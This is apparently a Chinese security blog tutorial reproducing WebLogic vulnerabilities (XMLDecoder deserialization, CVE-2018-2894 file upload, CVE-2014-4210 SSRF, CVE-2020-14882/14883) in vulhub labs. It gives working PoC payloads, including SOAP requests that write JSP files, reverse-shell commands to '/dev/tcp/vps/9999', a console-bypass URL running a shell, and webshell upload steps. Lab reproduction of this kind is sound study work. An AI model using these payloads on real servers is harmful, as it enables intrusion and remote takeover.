常见中间件-WebLogic漏洞复现与利用分析

中间件-weblogic漏洞利用分析(1)

WebLogic 是 Oracle 公司推出的一款基于 Java EE 架构的企业级应用服务器，主要用于部署和管理大型分布式系统，以其高可用性、强大的集群管理能力和对复杂事务的支持而广泛应用于金融、电信等关键业务领域，但因其架构复杂且历史版本众多，也曾频繁暴露出反序列化、未授权访问等高危安全漏洞。

XMLDecoder 反序列化漏洞（CVE-2017-10271 和 CVE-2017-3506）

受影响的版本：Weblogic < 10.3.6

漏洞原理:CVE-2017-3506 与 CVE-2017-10271 均源于 Oracle WebLogic Server 的 wls-wsat 组件在解析 XML 数据时不安全地调用了 Java XMLDecoder 类，导致攻击者可通过构造恶意 XML 数据包触发反序列化并执行任意命令；两者的核心区别在于利用手法，CVE-2017-3506 直接利用 <object> 标签实例化恶意对象，而 CVE-2017-10271 则是针对前者修复方案（禁用 <object> 标签）的绕过，通过组合使用 <void> 和 <array> 标签间接调用危险方法来实现同样的远程代码执行。

环境搭建

这里直接用 vulhub 搭建漏洞环境，如下图即表明环境搭建成功：

vulhub 环境搭建成功

漏洞利用

访问 /wls-wsat/CoordinatorPortType 得到回显如下，说明可能存在漏洞：

wls-wsat 存在回显

除此以外，还有别的 URL 可触发这个漏洞。

在 /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/WEB-INF/web.xml 文件可以查看所有漏洞 URL：

web.xml 中的 wls-wsat 配置

1
2
3
4
5
6
7
8
wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

对于 CVE-2017-3506 可以直接用以下 POC，抓包 POST 写入数据，Content-Type 需要等于 text/xml：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 533

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("1_Ry"); %>
]]>
</string>
</void>
<void method="close"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

CVE-2017-3506的补丁加了验证函数，补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object Tag。

可以将object换成void就可绕过此补丁，array,new同样也可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

写入 test.jsp 成功

最后访问 /bea_wls_internal/test.jsp：

访问 test.jsp 回显

然后可以尝试反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/vps/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

反弹 Shell 成功

wls9_async_response 反序列化 RCE

**受影响的版本：**10.3.6.0, 12.1.3.0

漏洞原理：CVE-2019-2725 是 WebLogic 反序列化漏洞家族的“第三代”变种，它与 CVE-2017-3506/10271 同源但不同路：三者根源均为 Java XMLDecoder 的不安全使用，但前两者利用的是 wls-wsat 组件且通过不断变换 XML 标签（从 <object> 到 <void>）来绕过黑名单，而 CVE-2019-2725 则转移到了新的攻击入口 wls9_async_response 组件，利用全新的反射调用链绕过了针对旧组件的防御策略，证明了仅靠修补特定组件或维护黑名单无法彻底解决此类反序列化风险。

环境搭建

漏洞环境依旧沿用上面那个。

漏洞利用

指纹识别：访问 /_async/AsyncResponseService 返回如下页面，则可能存在此漏洞：

AsyncResponseService 存在回显

这个漏洞和上面那个很像，其实就是新的利用链最终依旧通过XMLDecoder来实现RCE

默认受到影响的Uri如下;

1
2
3
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

poc如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/vps/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

注意 Content-Type 要改为 text/xml：

发送 POC

利用成功：

反弹 Shell 成功

WebLogic 任意文件上传漏洞（CVE-2018-2894）

**受影响的版本：**12.1.3.0, 12.2.1.2, 12.2.1.3

漏洞原理：CVE-2018-2894 是 Oracle WebLogic Server 中一个极其严重的高危远程代码执行（RCE）漏洞，其根源在于服务器默认集成的 Web Services Test Client (ws_utc) 组件存在设计缺陷。该漏洞允许未经任何身份认证的远程攻击者，直接访问 ws_utc 应用的配置接口（通常为 /ws_utc/config.do），利用其文件上传功能中的逻辑绕过缺陷，将恶意构造的 JSP WebShell 脚本上传至服务器的特定可执行目录（如临时文件夹或静态资源目录）

注意: 该漏洞在“生产模式”（Production Mode）下，ws_utc 应用默认是不部署/不可访问的。因此，该漏洞主要影响处于开发模式（Development Mode）或管理员手动部署了该应用的服务器。

环境搭建

在起了漏洞镜像后，由于 Web Service Test Page 在“生产模式”下默认不开启，若需在 WebLogic 生产模式下进行复现，则需要登录后台页面，点击 base_domain 的配置，在“高级”设置中开启“启用 Web 服务测试页”选项。

执行以下命令拿到密码登陆后台

1
docker-compose logs | grep password

获取 WebLogic 后台密码

进去后点击 base_domain：

base_domain 配置

在“高级”中开启“启用 Web 服务测试页”选项：

启用 Web 服务测试页

漏洞利用

然后就可以访问 /ws_utc/config.do，设置 Work Home Dir 为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。
我将目录设置为 ws_utc 应用的静态文件 css 目录，访问这个目录是无需权限的：

设置 Work Home Dir

随后上传 webshell：

上传 WebShell

点击提交，抓返回包，留意时间戳：

返回包中的时间戳

然后访问
http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]，即可执行 webshell：

成功执行 WebShell

WebLogic SSRF 漏洞（CVE-2014-4210）

**影响版本:**10.0.2 至 10.3.6 版本

漏洞原理：CVE-2014-4210 是 Oracle WebLogic Server 中存在于 uddiexplorer 组件（具体为 SearchPublicRegistries.jsp 页面）的服务端请求伪造（SSRF）漏洞。该漏洞允许未经身份验证的远程攻击者操纵 operator 参数，诱导受影响的 WebLogic 服务器向任意内部或外部地址发起 HTTP/TCP 请求。由于缺乏对目标地址的有效过滤，攻击者可利用此漏洞探测内网存活主机与开放端口、读取内网服务返回的错误信息以指纹识别后端应用，甚至进一步攻击内网中脆弱的服务。

环境搭建

若能正常访问 /uddiexplorer/SearchPublicRegistries.jsp，即环境搭建成功，直接 vulhub 即可：

uddiexplorer 页面

漏洞利用

填写任意信息发送请求：

初始请求

将 POST 请求发到重放器改为 GET 请求：

修改为 GET 请求

其中operator是可控的ssrf参数修改这个参数进行ssrf攻击

改为 7001 就是 WebLogic 的 404 报错页面：

回显型 SSRF

这里其实就打成了回显型 SSRF 了。

WebLogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）

受影响的版本：

  • Oracle WebLogic Server 版本10.3.6.0
  • Oracle WebLogic Server 版本12.1.3.0
  • Oracle WebLogic Server 版本12.2.1.3
  • Oracle WebLogic Server 版本12.2.1.4
  • Oracle WebLogic Server 版本14.1.1.0

漏洞原理:该漏洞原理在于WebLogic管理控制台组件存在严重的访问控制缺陷与代码执行隐患：攻击者通过构造包含特定参数（如_nfpb=true及恶意_pageLabel）的URL请求，利用CVE-2020-14882直接绕过登录验证机制，非法获取管理员权限并访问后台高危功能接口；随后结合CVE-2020-14883，在已绕过的上下文中传入恶意的Java类名或JSP代码片段，诱导服务器实例化并执行任意指令，从而在无需任何认证的情况下实现从HTTP请求到操作系统层面的远程代码执行（RCE）。

环境搭建

用 docker 搭建即可：

Docker 环境

漏洞利用

其实这个漏洞就是：CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个 GET 请求在远程 WebLogic 服务器上以未授权的任意用户身份执行命令。

先执行权限绕过漏洞，访问 /console/css/%252e%252e%252fconsole.portal：

绕过登录访问控制台

然后利用 CVE-2020-14883 执行任意命令，POC 如下：

1
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/vps/9999%200%3E%261');")

利用控制台组件中存在的功能缺陷，通过 handle 参数指定调用后端的高危 Java 类（如 ShellSession 或 CheckRuleUtils）

利用 handle 链执行命令

最终成功反弹 shell：

反弹 Shell 成功

除了以上这些漏洞外，WebLogic 还有一系列经典的漏洞——关于 T3/IIOP 协议反序列化漏洞，基本一两年都会爆出一次，后面再专门去复现这个系列。